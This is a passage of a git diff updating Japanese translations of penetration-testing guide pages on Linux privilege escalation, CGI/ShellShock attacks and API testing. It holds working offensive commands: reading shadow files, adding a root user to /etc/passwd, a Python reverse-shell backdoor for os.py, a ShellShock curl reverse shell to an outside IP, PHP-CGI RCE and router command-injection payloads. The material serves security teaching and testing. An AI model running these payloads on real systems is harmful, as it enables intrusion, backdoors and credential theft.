/etc/profile.d/ ``` -不審なプロファイルスクリプトが見つかった場合は、**機密情報**が含まれていないか確認するべきです。 +もし怪しいプロファイルスクリプトが見つかったら、**機密情報**がないか確認してください。 ### Passwd/Shadow ファイル -OSによっては、`/etc/passwd` と `/etc/shadow` ファイルが別名で存在したり、バックアップが残っている場合があります。したがって、これらを**すべて見つける**ことと、**読み取れるか確認する**ことで、ファイル内に**ハッシュがあるかどうか**を確認することを推奨します: +OSによっては、`/etc/passwd` と `/etc/shadow` ファイルが別名だったりバックアップが存在することがあります。したがって、**それらをすべて見つける** と **読み取れるか確認する** ことをお勧めします。ファイル内に **ハッシュが含まれているか** を確認してください: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -場合によっては、`/etc/passwd`(または同等のファイル)内に**password hashes**が見つかることがあります。 +場合によっては、`/etc/passwd`(または同等のファイル)内に **password hashes** が見つかることがあります。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1291,71 +1291,38 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -# Privilege Escalation - -このドキュメントは、Linux 環境における Privilege Escalation に関連する技術や手法、検査時の注意点をまとめたものです。ここでは一般的な観点と参考箇所へのリンクを示します。具体的なコマンドやスクリプト、脆弱性の悪用方法などは別ファイルに分けて記載しています。 - -目的: -- 権限昇格の検出と緩和策を理解する -- よくある誤設定や脆弱性パターンを認識する -- セキュリティ評価時に役立つチェックリストを提供する - -注意: -- 実環境での検査は必ず許可を得てから実施してください。 -- 提示するコマンドはサンプルです。実行前に内容を確認してください。 - -ユーザー `hacker` を追加する -------------------------- - -以下は新しいユーザー `hacker` を作成し、生成したパスワードを設定する例です。コード部分は翻訳していません。 - -生成されたパスワード: -V4r$8qLz9Nw2@xY1 - -コマンド例: -```bash -# ユーザーを追加 -sudo useradd -m -s /bin/bash hacker - -# パスワードを設定(生成済みのパスワードを使用) -echo 'hacker:V4r$8qLz9Nw2@xY1' | sudo chpasswd - -# 必要に応じて sudo グループに追加 -sudo usermod -aG sudo hacker -``` - -パスワードは一例です。実運用ではより安全な方法で生成・管理し、初回ログイン時にパスワード変更を促してください。 +次にユーザー `hacker` を追加し、生成されたパスワードを設定します。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -これで `su` コマンドを使って `hacker:hacker` を使用できます +これで `su` コマンドを `hacker:hacker` で使用できます。 -別の方法として、以下の行を使ってパスワードなしのダミーユーザーを追加できます。\ -警告: 現在のマシンのセキュリティが低下する可能性があります。 +あるいは、以下の行を使ってパスワードなしのダミーユーザーを追加できます。\ +警告: マシンの現在のセキュリティを低下させる可能性があります。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意: BSD プラットフォームでは `/etc/passwd` は `/etc/pwd.db` と `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 +注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 -いくつかの機密ファイルに**書き込みできるか**を確認してください。例えば、いくつかの**サービス設定ファイル**に書き込めますか? +**いくつかの機密ファイルに書き込みできるか**を確認すべきです。例えば、**サービスの設定ファイル**に書き込みできますか? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例えば、マシンが**tomcat**サーバを実行しており、**/etc/systemd/内のTomcatサービス構成ファイルを変更できる場合、**次の行を変更できます: +例えば、マシンが **tomcat** サーバを実行していて、**modify the Tomcat service configuration file inside /etc/systemd/,** が可能なら、次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -あなたの backdoor は次回 tomcat が起動したときに実行されます。 - ### フォルダを確認 -次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものは読み取れないでしょうが、試してみてください) +あなたの backdoor は、tomcat が次に起動したときに実行されます。 + +次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものは読めないでしょうが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1380,7 +1347,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB ファイル +### Sqlite DBファイル ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1408,22 +1375,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### パスワードが含まれる既知のファイル +### Known files containing passwords -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでください。これは **パスワードを含む可能性がある複数のファイル** を検索します。\ -**もう一つの興味深いツール** は: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、Windows、Linux & Mac のローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでください。**パスワードを含んでいる可能性のある複数のファイル**を検索します。\ +**もう1つの興味深いツール**として利用できるのが: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、Windows, Linux & Mac のローカルコンピュータに保存された多くのパスワードを取得するためのオープンソースのアプリケーションです。 -### ログ +### Logs -ログを読めるなら、**その中に興味深い/機密情報を見つけられる可能性があります**。ログがより奇妙であればあるほど、より興味深い(おそらく)でしょう。\ -また、いくつかの **"bad" に設定された(backdoored?)監査ログ** は、投稿で説明されているように監査ログ内に **パスワードを記録する** ことを許す場合があります: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +ログを読めるなら、そこから**興味深い/機密情報**を見つけられるかもしれません。ログが奇妙であればあるほど、より興味深い(かもしれません)。\ +また、一部の**誤設定された**(バックドア化されている?)**audit logs**は、audit logs内に**パスワードを記録する**ことを可能にする場合があります。詳細はこの投稿で説明されています: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` **ログを読むためのグループ** [**adm**](interesting-groups-linux-pe/index.html#adm-group) は非常に役立ちます。 -### Shellファイル +### シェルファイル ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1436,59 +1403,58 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -ファイル名や内容に**password**という単語が含まれていないかを確認し、ログ内のIPやメールアドレス、ハッシュ用のregexpsもチェックしてください。\ -ここではこれらすべてのやり方を列挙しませんが、興味がある場合は[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを参照してください。 +ファイルの**名前**や**内容**に単語 "**password**" を含むもの、そしてログ内の IPs や emails、hashes regexps も確認してください。ここでこれらをすべて行う方法を列挙するつもりはありませんが、興味がある場合は [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が実行する最後のチェックを確認してください。 ## 書き込み可能なファイル ### Python library hijacking -もし**どこから**pythonスクリプトが実行されるか分かっていて、そのフォルダに**書き込みできる**か、あるいは**pythonライブラリを変更できる**なら、OSライブラリを改変してbackdoorを仕込むことができます(pythonスクリプトが実行される場所に書き込みできるなら、os.pyライブラリをコピーして貼り付けてください)。 +If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). -ライブラリに**backdoor the library**するには、os.pyライブラリの末尾に以下の行を追加してください(IP と PORT を変更してください): +ライブラリを **backdoor the library** するには、os.py ライブラリの末尾に次の行を追加してください(IP と PORT を変更してください): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate の悪用 -`logrotate` の脆弱性により、ログファイルやその親ディレクトリに対して **書き込み権限** を持つユーザーが特権昇格を行える可能性があります。これは `logrotate` が多くの場合 **root** として実行されており、任意のファイルを実行するよう操作され得るためで、特に _**/etc/bash_completion.d/**_ のようなディレクトリが狙われます。_ /var/log_ だけでなく、ログローテーションが適用されるあらゆるディレクトリの権限を確認することが重要です。 +`logrotate` の脆弱性により、ログファイルやその親ディレクトリに対して **書き込み権限** を持つユーザが権限昇格を行える可能性があります。これは、`logrotate` が多くの場合 **root** として動作しており、特に _**/etc/bash_completion.d/**_ のようなディレクトリ内で任意のファイルを実行するよう操作され得るためです。権限は _/var/log_ だけでなく、ログローテーションが適用されるすべてのディレクトリで確認することが重要です。 > [!TIP] -> この脆弱性は `logrotate` バージョン `3.18.0` およびそれ以前に影響します +> この脆弱性は `logrotate` バージョン `3.18.0` 以前に影響します この脆弱性の詳細は次のページを参照してください: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). この脆弱性は [**logrotten**](https://github.com/whotwagner/logrotten) を使って悪用できます。 -この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** と非常に似ているため、ログを変更できる場合は、そのログを誰が管理しているかを確認し、ログをシンボリックリンクに置き換えて特権昇格できないかを調べてください。 +この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** と非常に似ています。したがって、ログを変更できることが判明した場合は、誰がそれらのログを管理しているかを確認し、ログをシンボリックリンクに置き換えて権限を昇格できないか確認してください。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -何らかの理由でユーザーが `ifcf-` スクリプトを _/etc/sysconfig/network-scripts_ に **書き込める**、または既存のものを **修正できる** のであれば、あなたの **system is pwned**。 +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scripts(例: _ifcg-eth0_)はネットワーク接続に使われます。見た目はまさに .INI ファイルです。しかし、Linux では Network Manager (dispatcher.d) によって \~sourced\~ されます。 +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -私のケースでは、これらの network スクリプト内の `NAME=` 属性が正しく処理されていませんでした。**名前に空白があると、システムは空白の後の部分を実行しようとする**。これは **最初の空白以降のすべてが root として実行される** ことを意味します。 +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. -例えば: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network と /bin/id の間の空白に注意_) +(_Network と /bin/id の間に空白があることに注意_) ### **init, init.d, systemd, and rc.d** -ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **スクリプト** の格納場所です。これはクラシックな Linux サービス管理システムです。ここにはサービスを `start`、`stop`、`restart`、場合によっては `reload` するためのスクリプトが含まれます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使われます。 +ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **scripts**(スクリプト)の格納場所です。これは **古典的な Linux のサービス管理システム** で、`start`、`stop`、`restart`、場合によっては `reload` といったサービス操作用のスクリプトを含みます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使われます。 -一方、`/etc/init` は **Upstart** に関連しており、Ubuntu が導入したより新しい **サービス管理** で、サービス管理のために設定ファイルを使用します。Upstart への移行にもかかわらず、互換レイヤーがあるため SysVinit スクリプトは Upstart の設定と並行してまだ利用されています。 +一方、`/etc/init` は **Upstart** に関連しており、Ubuntu が導入した新しい **service management** で、サービス管理タスクのための設定ファイルを使用します。Upstart への移行後も、互換レイヤーのために SysVinit スクリプトが Upstart 設定と並行して利用されることがあります。 -**systemd** はモダンな初期化およびサービスマネージャとして登場し、オンデマンドのデーモン起動、automount 管理、システム状態のスナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/`、管理者の変更用に `/etc/systemd/system/` に整理され、システム管理を簡素化します。 +**systemd** は、オンデマンドのデーモン起動、automount 管理、システム状態のスナップショットなどの高度な機能を提供するモダンな初期化およびサービスマネージャとして登場しました。配布パッケージ用に `/usr/lib/systemd/`、管理者による変更用に `/etc/systemd/system/` といったディレクトリ構成でファイルを整理し、システム管理を簡素化します。 -## その他のトリック +## Other Tricks ### NFS Privilege escalation @@ -1513,7 +1479,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks は一般に syscall をフックして privileged kernel 機能を userspace manager に公開します。弱い manager 認証(例: FD-order に基づく signature checks や不十分なパスワード方式)により、ローカルアプリが manager を偽装して already-rooted devices 上で root に昇格できる場合があります。詳細と exploit の手順は以下を参照してください: +Android rooting frameworks は一般的に syscall をフックして、特権付きカーネル機能を userspace の manager に露出させます。FD-order に基づく署名チェックや弱いパスワード方式のような manager の認証が脆弱だと、ローカルアプリが manager を偽装して、すでに root 化されたデバイスで root に昇格できる場合があります。詳細とエクスプロイト手順は以下を参照してください: {{#ref}} @@ -1522,20 +1488,20 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -VMware Tools/Aria Operations の regex ベースの service discovery は、プロセスのコマンドラインからバイナリパスを抽出し、privileged コンテキストで `-v` を付けて実行することがあります。許容的なパターン(例: `\S` を使用)では、`/tmp/httpd` のような書き込み可能な場所に設置した攻撃者のリスナにマッチして root として実行される可能性があります(CWE-426 Untrusted Search Path)。 +VMware Tools/Aria Operations の regex 駆動型 service discovery は、プロセスのコマンドラインからバイナリパスを抽出し、特権コンテキストで -v を付けて実行することがあります。寛容なパターン(例: \S の使用)は、書き込み可能な場所(例: /tmp/httpd)に配置された攻撃者のリスナーにマッチし、root として実行される(CWE-426 Untrusted Search Path)可能性があります。 -詳細と他の discovery/monitoring スタックにも適用できる一般化パターンは以下を参照してください: +詳細と他の discovery/monitoring スタックにも適用できる一般化されたパターンはこちら: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## カーネルのセキュリティ保護 +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## 追加のヘルプ +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1554,7 +1520,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## 参考文献 +## References - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 51627e2c8..b363214b6 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -5,20 +5,20 @@ ## 情報 -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it. -In order to test for **CGI vulns** it's recommended to use `nikto -C all` (and all the plugins) +The **CGI scripts are perl scripts**。そのため、_**.cgi**_ スクリプトを実行できるサーバを侵害している場合、**upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\)、**change the extension** を **.pl** から **.cgi** にし、**execute permissions** \(`chmod +x`\) を付与して、**access** the reverse shell **from the web browser** して実行できます。 +CGI vulns をテストするためには、`nikto -C all` \(and all the plugins\) の使用が推奨されます。 ## **ShellShock** -**ShellShock** is a **vulnerability** that affects the widely used **Bash** command-line shell in Unix-based operating systems. It targets the ability of Bash to run commands passed by applications. The vulnerability lies in the manipulation of environment variables, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching malicious code to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system. +**ShellShock** は、Unix 系オペレーティングシステムで広く使われている **Bash** コマンドラインシェルに影響を与える **vulnerability** です。これは、アプリケーションから渡されたコマンドを Bash が実行する能力を狙うものです。脆弱性は、プロセスの実行に影響を与える動的な名前付き値である **environment variables** の操作にあります。攻撃者は **environment variables** に **malicious code** を付加してこれを悪用し、変数が受信される際に実行させることができます。これによりシステムが侵害される可能性があります。 -Exploiting this vulnerability the **ページがエラーを返す可能性がある**。 +Exploiting this vulnerability the **page could throw an error**。 -You could **find** this vulnerability noticing that it is using an **old Apache version** and **cgi_mod** (with cgi folder) or using **nikto**. +この脆弱性は、**old Apache version** や **cgi_mod** \(with cgi folder\) を使用していることに気づくことで **find** できる場合があり、あるいは **nikto** を使って検出できます。 ### **テスト** -ほとんどのテストは echo で何かを出力し、その文字列が web レスポンスに返されることを確認するものです。ページが脆弱と思われる場合は、すべての cgi ページを検索してテストしてください。 +ほとんどのテストは、何かを echo して、その文字列が web response に返されることを期待するものです。ページが脆弱であると思われる場合は、すべての cgi pages を検索してテストしてください。 **Nmap** ```bash @@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## 集中型 CGI dispatchers (single endpoint routing via selector parameters) +## 中央集約型 CGI ディスパッチャ(セレクタパラメータによる単一エンドポイントルーティング) -多くの embedded web UIs は、単一の CGI エンドポイント(例: `/cgi-bin/cstecgi.cgi`)の背後で数十の特権アクションを多重化し、`topicurl=` のような selector parameter を使ってリクエストを内部関数にルーティングします。 +多くの組み込み Web UI は、単一の CGI エンドポイント(例えば、`/cgi-bin/cstecgi.cgi`)の背後で多数の特権アクションを多重化し、`topicurl=` のようなセレクタパラメータを使ってリクエストを内部関数にルーティングします。 -Methodology to exploit these routers: +これらのルータを悪用するための手順: -- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. -- Test unauthenticated reachability: some handlers forget auth checks and are directly callable. -- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. +- Enumerate handler names: JS/HTML をスクレイピング、wordlists を使った brute-force、または firmware を unpack して dispatcher が使う handler 文字列を grep する。 +- Test unauthenticated reachability: 一部のハンドラは auth チェックを忘れており、直接呼び出せる場合がある。 +- Focus on handlers that invoke system utilities or touch files; 脆弱なバリデータは少数の文字だけをブロックし、先頭のハイフン `-` を見落とすことがある。 Generic exploit shapes: ```http @@ -75,32 +75,32 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; # 3) Validator bypass → arbitrary file write in file-touching handlers topicurl=setWizardCfg&=/etc/init.d/S99rc ``` -検知とハードニング: +検出とハードニング: -- 中央集約された CGI エンドポイントへの未認証のリクエストで `topicurl` がセンシティブなハンドラに設定されているものを監視する。 -- 先頭が `-` のパラメータ(argv オプション注入の試み)をフラグ付けする。 -- ベンダー向け: すべての状態を変更するハンドラに対して認証を強制し、厳密な許可リスト/型/長さで検証し、ユーザー制御可能な文字列をコマンドラインフラグとして渡さないこと。 +- 中央集約された CGI エンドポイントへの未認証リクエストで、`topicurl` が機密ハンドラに設定されているものに注意する。 +- 先頭が `-` のパラメータをフラグ付けする(argv option injection attempts)。 +- ベンダー: すべての状態を変更するハンドラで認証を強制し、厳格な allowlists/types/lengths を使って検証し、ユーザ制御の文字列をコマンドラインフラグとして渡さないこと。 ## 古い PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -基本的に cgi が有効で php が「古い」\(<5.3.12 / < 5.4.2\) 場合、コードを実行できる。 -この脆弱性を悪用するには、パラメータを送信せずに(特に文字 "=" を送信せずに)ウェブサーバの PHP ファイルにアクセスする必要がある。 -テストするためには、例えば `/index.php?-s` にアクセスする(`-s` に注意)と、**アプリケーションのソースコードがレスポンスに表示される**。 +基本的に cgi がアクティブで php が「古い」\(<5.3.12 / < 5.4.2\) 場合、コードを実行できます。 +この脆弱性を悪用するには、パラメータを送らず \(特に文字 "=" を送らない\) にウェブサーバの PHP ファイルにアクセスする必要があります。 +次に、この脆弱性をテストするには、例えば `/index.php?-s` \( `-s` に注意\) にアクセスすると、**アプリケーションのソースコードがレスポンスに表示されます**。 -その後、**RCE** を得るために次の特殊なクエリを送信できる: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` と、実行する **PHP code** を **body of the request. -例:** +さらに、**RCE** を得るにはこの特別なクエリを送信できます: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` そして実行する **PHP コード** を **リクエストのボディ。 +例:** ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**脆弱性と利用可能なエクスプロイトの詳細:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**vuln と possible exploits に関する詳しい情報:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** ## **Proxy \(MitM to Web server requests\)** -CGI は HTTP リクエストの各ヘッダごとに環境変数を作成します。例えば: "host:web.com" は "HTTP_HOST"="web.com" と作成されます。 +CGI は http リクエストの各ヘッダごとに環境変数を作成します。例えば: "host:web.com" は "HTTP_HOST"="web.com" として作成されます。 -HTTP_PROXY 変数が web server によって使用される可能性があるため、**header** に "**Proxy: <IP_attacker>:<PORT>**" を含めて送ってみてください。サーバがセッション中に何らかのリクエストを行う場合、サーバが行った各リクエストをキャプチャできます。 +HTTP_PROXY 変数が web server によって使用される可能性があるため、**header** に "**Proxy: <IP_attacker>:<PORT>**" を含めて送信してみてください。セッション中にサーバが何らかのリクエストを実行すれば、サーバが行う各リクエストをキャプチャできます。 -## **参考** +## **参考資料** - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 4945b369e..84aec78a7 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,54 +2,96 @@ {{#include ../../banners/hacktricks-training.md}} -## API Pentesting Methodology Summary +## API Pentesting 手法の概要 -APIのペンテストは、脆弱性を発見するための体系的なアプローチを含みます。このガイドは、実用的な技術とツールを強調した包括的な方法論を要約しています。 +Pentesting 対象のAPIは、脆弱性を発見するために構造化されたアプローチを必要とします。本ガイドは実践的なテクニックとツールを重視した包括的な手法をまとめています。 -### **Understanding API Types** +### **APIタイプの理解** -- **SOAP/XML Web Services**: ドキュメントのためにWSDL形式を利用し、通常は`?wsdl`パスで見つかります。**SOAPUI**や**WSDLer**(Burp Suite Extension)などのツールは、リクエストの解析と生成に役立ちます。例のドキュメントは[DNE Online](http://www.dneonline.com/calculator.asmx)でアクセス可能です。 -- **REST APIs (JSON)**: ドキュメントはWADLファイルで提供されることが多いですが、[Swagger UI](https://swagger.io/tools/swagger-ui/)のようなツールは、インタラクションのためのよりユーザーフレンドリーなインターフェースを提供します。**Postman**は、例のリクエストを作成および管理するための貴重なツールです。 -- **GraphQL**: APIのためのクエリ言語で、API内のデータの完全で理解可能な説明を提供します。 +- **SOAP/XML Web Services**: ドキュメントは通常 `?wsdl` パスで提供される WSDL 形式を利用します。**SOAPUI** や **WSDLer** (Burp Suite Extension) のようなツールは、リクエストの解析と生成に有用です。例としてのドキュメントは [DNE Online](http://www.dneonline.com/calculator.asmx) で参照できます。 +- **REST APIs (JSON)**: ドキュメントは WADL ファイルで提供されることもありますが、[Swagger UI](https://swagger.io/tools/swagger-ui/) のようなツールがより扱いやすいインターフェースを提供します。**Postman** はサンプルリクエストの作成・管理に便利です。 +- **GraphQL**: API のデータに関する完全で理解しやすい記述を提供するクエリ言語です。 ### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASPトップ10 API脆弱性をカバーするための実践的な練習用に意図的に脆弱なAPIです。 +- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP API トップ10 の脆弱性を網羅する、実習用の意図的に脆弱なAPIです。 -### **Effective Tricks for API Pentesting** +### **API Pentesting の効果的なテクニック** -- **SOAP/XML Vulnerabilities**: XXE脆弱性を探求しますが、DTD宣言はしばしば制限されています。XMLが有効なままであれば、CDATAタグはペイロードの挿入を許可する場合があります。 +- **SOAP/XML Vulnerabilities**: XXE 脆弱性を探索しますが、DTD 宣言はしばしば制限されています。CDATA タグは、XML が有効なままであればペイロード挿入を許す場合があります。 - **Privilege Escalation**: 権限レベルが異なるエンドポイントをテストして、不正アクセスの可能性を特定します。 -- **CORS Misconfigurations**: 認証されたセッションからのCSRF攻撃を通じて、潜在的な悪用可能性のためにCORS設定を調査します。 -- **Endpoint Discovery**: APIパターンを利用して隠れたエンドポイントを発見します。ファジングツールのようなツールは、このプロセスを自動化できます。 -- **Parameter Tampering**: リクエスト内のパラメータを追加または置き換えて、不正なデータや機能にアクセスすることを試みます。 -- **HTTP Method Testing**: リクエストメソッド(GET、POST、PUT、DELETE、PATCH)を変えて、予期しない動作や情報漏洩を発見します。 -- **Content-Type Manipulation**: 異なるコンテンツタイプ(x-www-form-urlencoded、application/xml、application/json)を切り替えて、解析の問題や脆弱性をテストします。 -- **Advanced Parameter Techniques**: JSONペイロード内で予期しないデータ型を使用してテストしたり、XXEインジェクションのためにXMLデータを操作したりします。また、パラメータ汚染やワイルドカード文字を試して、より広範なテストを行います。 -- **Version Testing**: 古いAPIバージョンは攻撃に対してより脆弱である可能性があります。常に複数のAPIバージョンに対して確認し、テストを行います。 +- **CORS Misconfigurations**: 認証済みセッションからの CSRF 攻撃で悪用可能かどうか、CORS 設定を調査します。 +- **Endpoint Discovery**: API パターンを利用して隠しエンドポイントを発見します。fuzzer のようなツールでこのプロセスを自動化できます。 +- **Parameter Tampering**: リクエストにパラメータを追加・置換して、許可されていないデータや機能へアクセスできないか試します。 +- **HTTP Method Testing**: リクエストメソッド(GET, POST, PUT, DELETE, PATCH)を変えて、予期しない挙動や情報漏えいを発見します。 +- **Content-Type Manipulation**: 異なる content-type(x-www-form-urlencoded, application/xml, application/json)を切り替えて、パースの問題や脆弱性をテストします。 +- **Advanced Parameter Techniques**: JSON ペイロードで予期しないデータ型を試したり、XML データで XXE を試したりします。parameter pollution やワイルドカード文字も幅広いテストに役立ちます。 +- **Version 